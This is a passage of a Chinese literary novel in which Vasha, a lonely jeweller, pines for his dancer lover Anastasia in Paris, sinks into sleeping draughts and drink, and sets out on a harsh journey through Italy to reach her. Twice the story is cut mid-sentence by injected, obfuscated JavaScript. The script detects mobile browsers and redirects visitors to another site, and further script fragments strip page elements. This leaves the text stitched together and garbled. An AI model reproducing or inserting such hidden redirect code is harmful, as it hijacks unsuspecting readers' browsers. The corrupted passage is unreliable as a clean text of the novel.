“哥哥,我从来没有担心过那种问题,很多那样的时刻,我认为自己非常不幸,父亲母亲都早早去世,列奥纳多说只有被神抛弃的孩子父母才会早逝。尽管是那样,我仍然感到自己很幸运,有哥哥在,我从来不曾感到自己如此幸福。我认为哥哥给予我的一切,让我已经比大多数人都要幸福,哥哥一直充斥着我的心灵。我所问的土地问题……准确来说是人民的土地问题。”小卡拉米说。 “瓦沙,感到幸运的应该是我才对,你的父亲对于我和我父亲的照顾,我认为永远会令我铭记在心,还有海伦娜女士对我的爱,我会永远藏在心底。至于人们的土地问题,我认为个体的力量过于渺小,那份来自于土地的承重并没有落在我们头上,我们为此感到愤怒……这是不合理的。”瓦沙说。 小卡拉米在这时明白了,瓦沙有意地避开那些问题,凡是和政治有关的,瓦沙从来不去触及。瓦沙总是生活在一个自己独自建立的世界,这里什么都没有,只有这座十字架组成的花园,只有他和那位名叫阿纳斯塔西娅的女人。尽管瓦沙并不愿意回答,他仍然认为哥哥身上有着某种难以察觉的睿智与清醒。他从教堂回来的时候,从后门经过,路过瓦沙工作的写字台,他透过那扇窗户仿佛能够窥见瓦沙的灵魂。如圣经所书,哪一类人死后会升入天堂,瓦沙一定会被带入天堂。他如此想到,他不免又觉得孤独,因为他意识到这样的事,他恐怕永远无法和哥哥付诸心事。他在家里待了很长的时间,这段时间他和瓦沙度过了快乐的日子,他并没有告诉哥哥自己是被学校‘送回来’的。他和列奥纳多在学校里举行了一场抗议活动,在那场活动之后,他和列奥纳多各自被送回家去,学校警告他们,再有一次将会强制他们退学。他并没有告诉哥哥,他知道瓦沙永远不会责怪他,他并不想让瓦沙难过。 他在和列奥纳多的相处之后,已经和列奥纳多的心灵融为一体,他认为他们有同样的意志承担着同样的使命。他偶尔会知道自己正走在一条危险的道路,他想要质问上帝,为何让人与人之间拥有相通的心灵,为何不赐予他一颗冷漠无情的心,当他看到任何人受到不公的对待时,都为此感到痛心。当他窥见贫穷与苦难时,他无法视而不见,他的心会为即便不落在自己头上的承重而无法忍受。 小卡拉米察觉到瓦沙常常失眠,瓦沙会在夜晚工作到很晚的时间,他们仍然睡在一起,他能够清晰地察觉到哥哥并没有睡着。那个名叫阿纳斯塔西娅的女人,事实上因为瓦沙在信中将她描述得美好如同女神,他也对她产生了一些好感。当他看见瓦沙苍白的脸色与黯然的神色时,他不再对那位舞女抱有好感。准确来说是瓦沙告诉他她去巴黎时,这是很常见的真相——一名舞女因为虚荣离开了他,瓦沙怀有的单纯与执拗令他仍然被蒙骗,让他误以为那个女人在进入梦寐以求的天堂之后还会回到这片贫瘠的土地。他知道、没有人比他更能知道,当他离开镇上去到罗马去到佛罗伦萨,一度想让瓦沙搬过去,可他并没有那么做。他不认为有谁能像他一样爱瓦沙,他不认为阿纳斯塔西娅对瓦沙的爱能够像他一样超过虚荣的本能。 他在家里待到学校的禁令收回,他得以返回学校,临走的时候,瓦沙为他准备了炸鳕鱼和香草干,这些瓦沙特制的食物,他很喜欢它们。他亲吻了瓦沙的脸颊,瓦沙还为他准备了松香膏和琴弦。他在这时回想起,自己已经很长时间都没有碰琴了。他的小提琴已经在储物柜里落灰。瓦沙做的那些首饰,他从来没有拿走过一件,这次他鬼使神差地从里面拿走了一枚瓦沙做的勋章。他选了用蓝宝石做成的名为勇气的勋章,它是飞鸟衔着鸢尾花的图案组成,他也不清楚自己到底是喜欢那些紫色鸢尾花,还是喜欢展翅飞走的鸟儿。 小卡拉米走之后,一切都恢复了平常的寂静之中。瓦沙逐渐地察觉到某种瘟疫一样的气氛正在侵蚀他,那种像瘟疫一样的东西,它总是缠绕在人类周围,在没人的时候肆意钻出来,侵蚀着独身的人们。他开始想念起小卡拉米,小卡拉米在的时候,他至少能够分散一部分的注意力,他可以询问小卡拉米宝石摆放的位置、为小卡拉米准备里拉,他们在一起时能够感受到彼此的存在。小卡拉米走之后,这座房子只剩下他一个人,那些伪装出来的安然无恙全部消失殆尽,他坐在写字台前,当他工作时,感到自己不断地被孤独侵蚀。他无法坦然地向上帝承认,他想阿纳斯塔西娅。 人在面对他人时,尚且拥有一部分勇气,当世界只剩下他们自己,他们才会意识到自己的懦弱与挣扎。 他拿出来那些阿纳斯塔西娅写的信,起初他收到信尚且很高兴,这份高兴随着时间的流逝逐渐被稀释,它们愈发的浅薄。他抚摸着那些她曾触碰过的信件,她告诉他她进入了巴黎歌剧院,作为一名舞女。她在里面如今地位低下,没有任何名气,每天忙于训练与舞会。巴黎的舞女们人人都要参加舞会,想要融入这样的环境,她必须得做点什么,她仿佛为了自证清白——认为自己能够不凭借斯特法诺男爵的帮助,也能够在巴黎站稳脚跟。她在信里表现出来的单纯与天真令他感到担忧。她像是初走出林间的鸟儿主动地飞进了一扇浮华的牢笼,她想要凭借自己的勇气与毅力在这座笼子里有自己的一席之地。她努力地维护着他们的爱情,以一种更加极端的方式,似乎誓要向他证明,她绝不会向这条路上的捷径与臣服妥协。 他为此感到痛苦。此时他大概感受到了上帝箴言的威力,这爱无论浅薄或深刻,都能将沉浸在其中的男女拉入地狱。 从阿纳斯塔西娅的文字中,他察觉到了阿纳斯塔西娅的焦虑,这份焦虑令他无法再摊陈自己的爱意。每次写给阿纳斯塔西娅的信,他写到‘我爱你’时,总是停笔很长的时间,她收到他满怀思念与爱意的信件,会发疯一样向他证明她如何爱他。他写到‘我很想念你时’,会把这句话划掉,阿纳斯塔西娅再三地向他承诺,他们很快就会见面,尽管这日期被无限的拉长。她忙于练习,甚至连写信的时间都变短了。她参加了第一场演出,把客人打赏的金币,那些全都寄给了他,似乎用来表示自己对他的爱仍然浓烈。可惜信件里难以掩饰她的欣喜,她说的最多的永远是舞会的场面,自己结识了哪位伯爵的妻子、或者是哪位在巴黎小有名气的艺术家,或是哪位有名的舞女送了她一副蕾丝手套,哪位设计师改变了众多舞女的穿着风向……她努力地融进他们的生活,在信件里尽管字字没有提到,却表现出对那类人物的倾慕与向往。那是她向往的生活,是她渴望成为的模样。此刻他已经明白,阿纳斯塔西娅已经无法再回到他身边,她一定无法再忍受和他一起待在这间狭窄的屋子,这间小小的写字台前,面对枯燥而贫乏的他。 他在深夜里感到无助,这份爱如同所有人预料的那样,仿佛注定要以悲剧收场。只要一想到要与她分开,他的心感到窒息般的疼痛,令他难以承受。他在深夜里辗转反侧,抱着那件被她留下来的白裙子,在深夜里呼唤‘阿纳斯塔西娅’‘阿纳斯塔西娅’。当他呼唤她的名字,他得不到任何回应,回应他的只有无限的孤独与寂寥。 当他意识到自己已经连续一个月没有睡过觉时,他想起老阿卜杜勒赠予他的那瓶药水,他翻找着写字台的角落,终于找到了那瓶药水,里面已经见了底。为此,他去了游乐场,重新寻觅老阿卜杜勒的身影,向老阿卜杜勒购入那些药水。老阿卜杜勒仍然在游乐场售卖糖果,他在象脚下和那名用塔罗占卜的突尼斯女人在一起,他仍旧笑呵呵地看着他,卖给了他大量的失眠药,因为怜爱他,甚至多赠了他一瓶。老阿卜杜勒告诉他,如果不想使用太多的药水,毕竟总有一些残留的药物,他可以去镇上的酒馆,那里的酒水更加便宜,只需要一加仑的小麦酒,他就会什么也不记得,所有的痛苦,所有的欲望,全部都会化成飞灰消散。 如果是以前的他,一定能够严肃而正经地告诉老阿卜杜勒,他并不需要,不需要去到酒馆,因为镇上的男人们就是那样被毁掉的。如今他却说不出口,他已经冥冥地知道,自己脆弱的同样无法承受心灵上的痛苦。 一开始,他仍然不愿意踏足酒馆。他服用老阿卜杜勒那里买来的药水,每当喝下药水,他不再失眠,每晚能够安然地进入梦乡。梦境里他和阿纳斯塔西娅还没有相识,他每次路过化妆室,总能看见她,他仿佛又变成了那只悄然窥探她的蝴蝶,在花窗外扑扇着翅膀停留,祈求她的目光能够落在他身上。他日夜想着她,她也总是在他的梦里出现,每次醒来之后他更加的痛苦。从此,白天也变得难熬,他在写字台前呆的时间越来越短,每次从马戏团离开,他路过镇上那些酒馆的时候,他驻足的时间越来越长。里面的人们欢声笑语,似乎充满了快乐,他陷入了迷茫之中。自己以前分明喜好孤独与独处,如今他却开始向往热闹与浮华的消遣,他意识到自己正在清晰地朝着看不见的深渊走去。 他频繁地进出酒馆、他在那里结识了一群朋友,起先,他是无意间碰到了费德里科。费德里科碰到他时非常的意外,拍着他的肩膀不停喊他,亲切的有些过头。从那以后费德里科经常带他出入酒馆,他们一起聊他们的代理人乔瓦尼,聊剧院里的那些歌女,费德里科对他表现出异常的关心,有好几次都主动地付了酒钱,甚至帮他介绍愿意买他饰品的朋友。他们聊政治格局和国际新闻,从哪里听到了关于热那亚的消息,关于萨伏依贵族们的秘闻与丑闻,聊西西里的那些黑手党,镇上的哪位从法国来的女郎热情又迷人。费德里科亲切地喊他‘瓦沙’,要带他去见识一些好玩的事情,费德里科所说的好玩的事情不过是前往妓院,或者是去剧院,在那些歌女演出之后,花上大价钱只为了让那些歌女陪他们喝上一壶锡兰红茶。他也遇见了其他的女人,在剧院碰到了阿纳斯塔西娅的女友罗莎。罗莎对于他频繁地进出剧院有一瞬间的惊讶,可她什么也没说,甚至没有过问他。他却觉得羞愧难当,他主动地向罗莎保证,自己只是陪费德里科过来,他保证以后再也不去剧院,再也不看其他女人跳舞。他从来没有和哪位女郎发生过关系,他仍然怀揣着某份难以言说的爱意,为了这份爱意保持着可笑的忠贞。从罗莎那里得知阿纳斯塔西娅走之后几乎没有跟她联系,他感到庆幸,至少阿纳斯塔西娅仍然想着他,尽管他们的书信往来已经越来越少,大多数时候是阿纳斯塔西娅写给他,他回应的很少。他难以向阿纳斯塔西娅诉说自己的爱意。他已经意识到了,自己的爱会给她带来负担,他不想让她感到承重。这份爱必定会随着时间的流逝残存的越来越少,他希望至少带给她一些美好的回忆。可无论他怎么做,他始终也明白的事情,他无法忘记她,无法做到不深爱她。那些被他写完之后并没寄走的信,他在失眠的时候成日成夜的给他写信,有时候醉了酒不清醒,他也并不清楚自己到底写了什么。 邮筒里一有信寄过来,他立刻高兴地查看,等他看完信之后,一股巨大的空虚席卷他,他又陷入了痛苦之中。他长时间处在低落、萎靡,阴郁之中,有时候他连着十几天都去酒馆,自己的工作像是完成任务那样敷衍走过,还好他的工作并不需要太多的技术含量,也不需要他每天保持很好的心情。乔瓦尼虽然对他非常不满意,却也没有惩罚他,仅仅是口头警告他一番。告诫他的精神状态,并且奉劝他最好买一份保险,从保险里至少乔瓦尼能够吃到回扣压榨他最后的价值。他醉酒醒来之后对自己的堕落不齿,他在写字台前写了一封又一封的忏悔信,那些忏悔信全部留下来,他开始发疯般地制造饰品,成日成夜的和宝石待在一起,他从书架拿出来父亲留下来的那本字典,试图参透其中的奥义。那些汉字尽管他并不懂,他却对它们天生喜爱,他完全没办法研究透。长时间的独处让他的内心越发孤独,他在夜晚抱着自己亲手为阿纳斯塔西娅做的白裙子,他在暴风雨的夜晚把窗户打开,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536683|170903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至渴望再次见到那块洗布幻化而成的断头皇后。哪怕是诅咒也好,哪怕会给他带来更大的不幸也好,他都想恳求上帝,让他再次见到阿纳斯塔西娅,让阿纳斯塔西娅再回到他身边。 他做梦梦到了阿纳斯塔西娅高兴地向他诉说关于斯特法诺男爵的事情,醒来之后他大发雷霆。他砸碎了写字台上的那些宝石、弄翻了墨台,钢笔被他摔在地上,他推翻了那台引他下地狱的缝纫机,他认为上帝说的没错,他不应该顺从阿纳斯塔西娅,他努力说服自己,他要把她找回来。他要去巴黎,没错,他要去巴黎,他要让她从舞台上离开,让她再也不能抛头露面,他要把她关起来,关在一个只属于他们的地方,他要用那枚银色的蝴蝶戒指把她留在身边,永远诅咒她爱他永生永世,像他爱她那般疯狂执拗。他搞砸了一切,他什么都没吃,什么都没做,在夜晚醒过来,他熬过了疯劲,内心陷入平静之中,他重新地打扫起自己弄毁的一切。他变得冷静而疲惫,对一切充满了倦意,他奉劝自己停止再做荒唐的事,他拿起阿纳斯塔西娅最近写的一封信仔细斟读。 亲爱的瓦沙伯奇尼: 瓦沙,我亲爱的瓦沙。你最近还好吗?最近你给我的回信很少,我因此很难过。斯特法诺男爵……我和他有了更深的联系,他对于我独自出席舞会十分不满,起先只是不满,后来开始变得大发雷霆,他变得古怪起来。我认为这份古怪可能源于塔莉娜向他诉说了什么,后来他主动地找到了我,告诉我他认为我不应主动地出席舞会,我和他聊了很多的事情,我不得不承认,他对于事物的看法有他独到的眼光,我认为我们逐渐地成为了朋友。他赠予了我一双蕾丝手套,令我想起你,瓦沙,我近来总是梦到你,梦见我们荒唐无度的那段时光,我现在总认为那段时间离我们很远。你送给我的那枚戒指,我无法把它摘除,另外我十分的想念你,我认为这可能是上帝安排致此,每当我看见它,都会想起你。还有几件特别的事情,斯特法诺男爵先生邀请我和塔莉娜前往他的府邸,我在那里见到他为钢琴调音,他擅长很多乐器,他的女仆会做美味的松塔饼,我在舞台上的角色逐渐确定。巴黎歌剧院答应每个月都为我安排至少五场独舞出演机会,我不知这是否是我自己争取来的,在此之前(我和斯特法诺男爵和好之前)我并没有这样的机会,这让我感到十分沮丧,原来我的才能终究抵不过‘男爵的好友’这一身份。我并非因此泄气,我总要让他们瞧瞧,尽管他们因为男爵的关系才为我提供这些机会,我一定要好好表现才行,最近我都要去跳舞,可能无法写信,亲爱的瓦沙,请你记得我始终爱你。我会努力在复活节前回去。请你一定要等我。 ——挚爱着的阿纳斯塔西娅 除了那些信,阿纳斯塔西娅得到的打赏全部寄给了他。有些是漂亮的徽章,有些是金币,有些是出自巴黎设计师之手的手镯和戒指。那些金子与水晶做成的饰品,令他感受到来自另一片土地的文明,同时也让他意识到自己做的那些东西,相较来说相形见拙。 阿纳斯塔西娅的信件里越发频繁地提到那位斯特法诺男爵,他既嫉妒又恍然,自己从未见过那位斯特法诺男爵。在他的世界里,事实上那种贵族距离他很远,可阿纳斯塔西娅距离对方很近。这仅仅能够说明的事情,谁本来就能够进入另一个世界,谁永远只能待在属于自己的世界。 他前往教堂为自己赎罪,在教堂听了一场又一场的管风琴演奏,圣光穿透花窗透成十字架的光芒,他在虔诚的祷告声中陷入平静之中。当他读到上帝允许人们遵从真善美的意志,他反复地思考,自己仅仅是想见她,这份情感是否属于罪恶的一种。他们互相从来没有僭越,他从未出过法□□亚纳小镇,他要去见她,这份情感已经到了无法抑制的地步,他在教堂的聆听声中得到了答案,决定遵从自己最深处的意志,他打算离开这座他生活了二十年的小镇,他要去巴黎。 他打算从西西里出发坐船,临走的时候打算给小卡拉米写一封信,他这才意识到小卡拉米已经很久没有给他写信,在他醉酒的日子里,他忘记了小卡拉米,整日沉浸在失落与痛苦之中,忽略了很多事情。他提笔给小卡拉米写信,告诉小卡拉米他要前往巴黎,让小卡拉米放心,他很快就会回来,他仅仅是去见她一面。仿佛见完她之后,这一切都会结束,他抱着如此的决心。从法□□亚纳到巴黎,他首先要到达西西里岛,坐船去陶里亚诺瓦,穿过卡拉布里亚区、去到阿格罗波利,抵达罗马,再到比萨,抵达热那亚,到法意的边境库马约尔,最后到达巴黎。 在此之前他从未出过法□□亚纳,他到达西西里时,这里正因为土地问题而产生矛盾,他了解到了南方与北方之间的经济差距,最开始他只认为一切只是纸上谈兵。当他穿过南方的土地,穿过那些饱含贫瘠的土地、几乎空缺失去人气的城镇,毫无生气的城市,他才后知后觉,这是他已经生活了二十年的地方。二十年来他一直待在法□□亚纳,他常常待在自己的那间屋子里,从不曾出来看看。路上他碰到了一对南意夫妻,他们带着五个孩子一家七口要逃往美洲,他十分擅长倾听,一路上这对夫妻告诉他,他们此前过的生活,每天只吃得起干酪面包的日子,无法负担得起孩子的生活费用,甚至赋税一年比一年重,他们家乡里的年轻人已经相继离去。五个孩子三男两女,他们看起来疲惫而安静,待在父母周围蜷缩着,当瓦沙注视着他们,他们清透的眼睛饱含这片土地的灵魂。这位夫妻所描述的日子,是他在德米特里夫妇去世之后、在他不售卖首饰时,他大部分时间在过着的生活。原来他置身在苦难之中,他当时并没有意识到,由于他常常封闭自己,忘记了自己正在受苦。可即便与那样的日子进行对比,他无法彻底地去体会那样的苦难与匮乏。他总认为精神上的痛苦愿胜于□□之上的磨难。他不知道该如何是好,他一向沉默寡言,最后只得从自己的行李里拿出来了一些饰品,送给了那些孩子。那些孩子拘谨地不知道该怎么办才好,那对年轻的父母向他道谢,并为他送上了最真挚的祝福。那对夫妻问他要去哪里。他说他要去巴黎。 那对夫妻告诉他,“这片土地上人人都想要去巴黎,只要人们有了钱,都想去那地儿。” 7. 第七章 瓦沙穿过马蹄石铺成的圆形广场,当他路过赫利俄斯神像下的花池时,他用花池里的水洗掉钢笔上的污渍,神像倒映下的池水变成了一片血红。他认为是自己夜晚出行的缘故,他已经很长时间服用老阿卜杜勒给的那些失眠药水,那种药水让他逐渐地分不清真实和梦境。他用掌心捧了一捧血水,血水之中倒映着他的脸,他甚至用那把血水洗了脸,当他尝到铁锈般的血腥气味,恍惚间花池间有死鱼飘了出来。远处传来一声枪声,枪声爆发在这片沉默的土地上,街道上大部分的商铺都没有开门,据说最近南方发生了大规模的罢工活动。他对这些罢工活动毫无兴趣,以及花池之中的血水,当他远离花池时,花池恢复了清澈的池水。 第二天他在陶里亚诺瓦找了一间价格低廉的旅馆,本来,他就对自己的衣食住行并没有那么在意。尽管他十分贫穷,他却拥有坚定的意志与不屈的灵魂,黑面包他也能够忍受,只要能够果腹,他从珍视的行李里拿出来那些信件,一封封地抚摸阿纳斯塔西娅的字迹。爱使人在苦难面前变得渺小,同样使人在灾难面前变得伟大。这间旅馆的房间只有十几平米,只放得下一张床和一间狭窄的洗漱室。他先是吃了一些食物,打开阿纳斯塔西娅的那些信件一封封地看过,他在窗台前蜷缩着自己的身子,他想给她写信,告诉她他要去找她。他既担心她会因此不见他不再回应他,毕竟在此之前,阿纳斯塔西娅一直都仅仅是口头上答应他会来找他。又想起自己为什么要见他,既是不甘心的会面,他总认为会以某种惨淡收场。他在旅馆里听到了隔壁妇人尖叫的声音,这是一间家庭旅馆,小的只能把杂物间腾出来留作一些穷人来当作避难所。妇人正在疯狂地咒骂丈夫和孩子,他并不知道发生了什么,噪音令他无法安然入睡,他只好走进那间狭窄的洗漱室,打算洗把脸深夜出行。当他打开洗漱室的门,“呱”的一声,一只长着赖皮如同无数只眼睛的癞蛤蟆跳了出来。接下来是第二只、第三只,它们发出呱呱声,接二连三地从下水口涌出。 他在卡拉布里亚区找了一家咖啡馆,在上帝面前他已经发过誓再也不去酒馆,他宁愿忍受失眠的痛苦也再也不要醉酒。这家咖啡馆白天时人山人海,在前台做咖啡的姑娘,她有着温柔的性情与一双漂亮的眼睛,她为他做了一杯卡布奇诺,他就这样抱着那杯咖啡从白天待到了晚上。到了晚上的时候,客人全部消失了,那位姑娘也走了,他在咖啡馆外的角落,这里有很多绿萝陪着他,除了绿萝之外,还有早就待在那里把这里当作临时处的流浪汉。对方显然也注意到了他,从嗓子里发出‘嗬拉’‘嗬拉’的笑声,透过对方枯萎杂乱的发丝,他看到了一双最为澄澈的眼。尽管那双眼睛周围的皮肤已经没有了人样,在那双眼睛的注视下,他莫名感到无比的困倦。他以为自己会失眠,为此省下了住旅馆的费用——结果他却在流浪汉身边睡着了。这位老者似乎有着什么魔力,或许他是前来看望人间众的悉达多,或是那些高贵信奉犬儒主义的贵族。当然都不是……当他半夜被身体上四处传来的撕咬疼醒,他才意识到自己身上爬满了虱子,那些虱子从他的头发里钻出来、从他的衣服里钻出来,撕咬着他的皮肤,对面的流浪汉老者已经不见了,而他随身的首饰同样不翼而飞。 接下来他又在卡拉布里亚区待了两天,试图找回自己丢失的那些首饰,结果无功而返。这里的人们见他是外乡人,没有人愿意告诉他那位老者是谁,也没有人愿意告诉他可怜的真相。那位咖啡馆外的老者和做咖啡的女人认识,据说他们同样来自吉卜赛,擅长使用催眠的巫术蒙骗路过行人的行李。如果被他们盯上,只有人财两空的份。大部分人早有耳闻从来不会踏足那片,偏偏瓦沙这个倒霉蛋,他不过刚出西西里岛。如果他现在回去,或许还来得及,只要他现在回去,回到法□□亚纳,这一切灾难全部都可以当作没有发生过。 瓦沙感到有些沮丧,他并不打算回去,他在卡拉布里亚区多待了几天,他去了教堂,在他的苦请求下,那里的布道者愿意施舍给他路费,他用剩余的路费前往了阿格罗波利。在这里,他只能去垃圾桶去寻找一些别人吃剩下的食物,他去了面包店,那里的妇人是一位衣着讲究的女性,他在面包房外待到了晚上,直到亲眼目睹对方把过期的面包扔进垃圾桶。他捡回了那些面包,他感到牙缝里有什么东西在嗡嗡作响,面包里全部都是死掉的苍蝇。卖面包的妇人为了防止有人偷吃面包,在里面塞满了苍蝇。它们有些还在活着,在瓦沙的牙齿里煽动着翅膀。在法□□亚纳,瓦沙从来不认为会有这样的事情——仅仅为了不让别人吃掉过期的面包,而在面包里塞满苍蝇。瓦沙在这一刻突然被莫名的哀伤席卷,他为此掉下了眼泪,他并没有扔那块充满苍蝇的面包,而是带着它们一同上路。 他仍然坚信自己的手艺,他去了一家专门卖饰品的商铺,经营商铺的老板是本地的南意人,对方有众多的资产,他最喜欢的便是这家饰品店。瓦沙告诉老板,他能用两天的时间把这些饰品全部都卖出去、前提是给他一台小型的切割机,小型的溶解剂和一些火线。老板有着贵族的长相,闻言欣然答应,在他做饰品的时候,老板好奇地在一旁观看,惊讶地看着他把一个个原本平平无奇的饰品变得绚烂夺目。那些饰品很快就被哄抢而光,老板因此大赚了一笔,为此老板十分感谢他,只是告诉他最近由于商铺濒临倒闭,这笔钱还要用来还债,过不了多久黑手党就会找上他们。为了答谢瓦沙,老板用了两头奶牛作为抵消,让瓦沙把那些奶牛牵走了。瓦沙牵走了两头奶牛,把它们送到了屠宰场,在那里他亲眼看着奶牛被宰杀,它们身体里的肉已经腐烂发臭,长出来了令人恶心的疱疹,似乎携带着某种瘟疫。 瓦沙混入了一辆马车前往罗马,这辆车不分人畜,他终日只能和那些随意撒尿、随意排便的畜生待在一起,这些畜生病怏怏的,在他们身上笼罩着一层死气。他随着马车摇摇晃晃,感到头痛欲裂,仿佛间自己也变成了一头牲畜,正在朝向未知的死亡之地。他在凌晨时睁开眼,周围一片寂静,畜生们全都死了。而他也患上了某种病症,他看到畜生们身上长出来了在奶牛身上见过的疱疹,那是一种人畜瘟疫。或许是他踏上这辆马车,才会让这些牲畜死掉,他害死了它们。他的胳膊上布满了密密麻麻的疱疹,那些疱疹令他的模样变得丑陋无比,原本人们要找他的麻烦,在看到他的惨状之后纷纷远离了他,认为他是某种怪物。他被丢在罗马城外的街道上,距离罗马仅仅百步之遥。 那些疱疹令他失去自己的神智,他在罗马城墙下,恍惚间以为自己会死在这里,这可笑一般的命运是否在作弄他。只要他还尚存意志,便要耗尽他的一切。当他摸到怀里的那些信件,他又重新充满了莫大的勇气与希望。无论上帝如何考验他,他都要向上帝证明,他绝不屈服于外界的意志,誓死遵从内心。“啪嗒”一声,他听见了什么东西落下来,天边下起了雹雨,那些雹雨泼洒而落,落在他的皮肤上犹如火焰在灼烧。尽管整座罗马城立刻变得冰封雪地,他的身体变成了一团明亮暗沉的火,在城墙下亮起微光,以躯体化成不灭的永恒之光。 瓦沙生了一场大病,他甚至记不清自己什么时候昏过去,尽管他的意志仍存,身体却如破烂的残灯。当他醒来的时候,他在一间黑黑小小的屋子,这是一间靠近河流的屋子,一对父女在城墙之下救了他。对方并没有介意他身上的那些疱疹,这对父女名叫萨尔瓦托雷与纳迪娅。萨尔瓦托雷用稻草灰混合了薄荷草以及酒精,将草灰覆盖在他的疱疹上,那些疱疹全部消了下去。当那些疱疹全部消失,纳迪娅见到的便是一张苍白而忧郁的脸,她对瓦沙一见钟情。在此之前她从未见过东方男人,她总是好奇地瞧着他,看他黑色的头发与黑色的眼睛。她告诉他,她父亲常常给她讲关于宝石幻化而成的精灵的故事。这种精灵不擅长人情世故、怀揣着某种执念的单纯,降临人间只为让人们欣赏到某种纯质的美。她很快对他表现出异常的关心与喜欢,她脸上长满了可爱的雀斑,是一位单纯而又普通的姑娘,她谨慎而细微,总是仔细地为他擦拭身体,为他煮粥饭软化食物,并且为他准备可口的面包。瓦沙在这里度过了一段安详的日子,他并不打算在此地久留,他担心自己会为这对父女带来不幸。有那样的时刻,纳迪娅在他身边静静瞧着他的时刻,温馨的屋子将孤独全部驱散,他想要留下来。留在这里,娶一位普通可爱的姑娘,而不是怀揣着才能一定要去巴黎的舞女。只要留下来,那些孤独将会从他身侧经过,犹如消逝的残风,往后不再侵扰他。他很快便舍弃了这份软弱的意志,他已经向上帝发过誓,一定要去到巴黎,一定要见到阿纳斯塔西娅。他在临走前告诉纳迪娅残酷的消息,告诉她他要前往巴黎去,他要去找回自己的未婚妻。纳迪娅几欲伤心地落泪,仍然送他送到了比萨。 他特意绕过了罗马与佛罗伦萨,源于小卡拉米说过的话,总有一天,他们要一起前往罗马,去寻找属于他们二人的旅程。他在比萨帮助这里的农民,蝗灾令这里的作物全部死光了,他在这里繁殖了大量的粉红椋鸟,让那些鸟儿前往农场去,祛除了四处泛滥的蝗虫。他在这里见到了哭泣的农民,他不敢直视他们的眼睛,在此之前他从未向这些贫穷的人们施舍过怜悯之心。他意识到自己的天性之中怀揣着某种残忍,这种残忍令他距离真实的世界十分遥远。 从比萨离开来到热那亚,这里已经十分繁华,这里的人们与南方穷苦的人们完全生活在两个世界。他见到了原本就生活在这里的人们,如果世界分为很多个部分,那么上帝永远都会偏爱某些地方,永远也会舍弃某部分。那些被舍弃的土地、被舍弃的人们,他们怀揣着某种罪恶,生来就要生活在水深火热之中。修道院门口有免费的面包可以领,散发着刚出炉的香气,修女们垂目低悯,看向那些前来领取面包的人们充满了仁慈,这里没有被蝗虫侵蚀的土地,有的是大片的工业工厂。工厂的机器嗡嗡作响,机器永远不会生病,它们为这片土地带来了无限的财富,也为这里的人们带来了高贵的善良。那片充满苍蝇尸体的面包仍然在他的行李里,他不曾拿出来,如果他拿出来,他猜这里的修女会因为见到苍蝇而大惊失色。 瓦沙在热那亚感受到了无尽的善意,他此时明白的事情,人类的品性既可以高贵端正,也能够低劣而浊恶。贫穷是人类最灾难性的瘟疫,他会令人们变成失去真善美的魔鬼。上帝似乎总是喜欢向人类开某种玩笑,某些原本具有高尚品德的人们,令他们经受磨难,让他们在苦难面前向虚荣与残忍低头,让贫穷污染他们的品性。他心底已经坚信,只要他尚且在这片土地上,他绝不会向这份磨难屈服。他的爱在这份磨难之中愈发真挚,他已经明白自己要见阿纳斯塔西娅的意义。他会告诉她,如果她喜欢巴黎,他会让她留在那里,让过去成为一段美好的回忆。只有人间的富贵处才能容纳她的才能,贫瘠的土地无法收留她的天性与灵魂。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536684|170903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他在修道院写了一封信给阿纳斯塔西娅。 亲爱的阿纳斯塔西娅: 写下这封信,我的心经过良久的挣扎。这一路上我都在因为这件事而痛苦,我要去巴黎见你,我已经来到了热那亚,很快能够抵达库马约尔,一路上我见到了许多不可思议的事情。有很多话,我都想要跟你讲,而我又不免感到丧气,你已不在我身边,我们再也无法回到当初无限倾诉的日子。有的时候,我在假设,假设我们一直过那种荒唐无度的日子,我们之后必定会感到厌倦。这是古往今来亘古不变的道理,我常常这样努力说服自己,说服自己思念你渴求你的心灵。我在路上已经明白,我们的结局在你让我为你缝制那条白裙子时已经注定,你注定要在舞台上大放光彩,去追寻属于你本身的自由。而我从来不适应这个世界本身的样子,我厌恶人们的目光、更加不擅长和人们相处,我的安心之地仅仅在无人的那片写字台。很漫长的一段时光,是你让我远离那扇写字台,让我变得想要和人们接触,让我开始打开自己的心灵。我逐渐地意识到,无论是你主动地走向处在无人之地的我,还是我主动地打开自己的心灵,我们之间都为这种变化感到无比痛苦。那是不属于我们彼此的世界。我常常想念你、感到痛苦万分,我总是担心这份痛苦会通过信件传递给你,因此我常常不愿意给你写信。后来我意识到当我不再回应你,这对你来说也是一种残忍,我不明白上帝为何总给我们这样的难题。直到我在痛苦之中逐渐感到欢乐,我的心已经习惯了孤独与磨难,这份磨难让我的心性愈发的坚定。我愿意为你送上最诚挚的祝福,无论你愿意见我与否,我都将会去巴黎歌剧院看你的演出。请原谅我擅自这样做,我仍然爱着你,我对你的爱无比坚定,我欲要你飞往更高处,愿我的爱能够装点你的羽翼,让它们充满上帝的歌声与祝福之音。 ——挚爱着的瓦沙伯奇尼 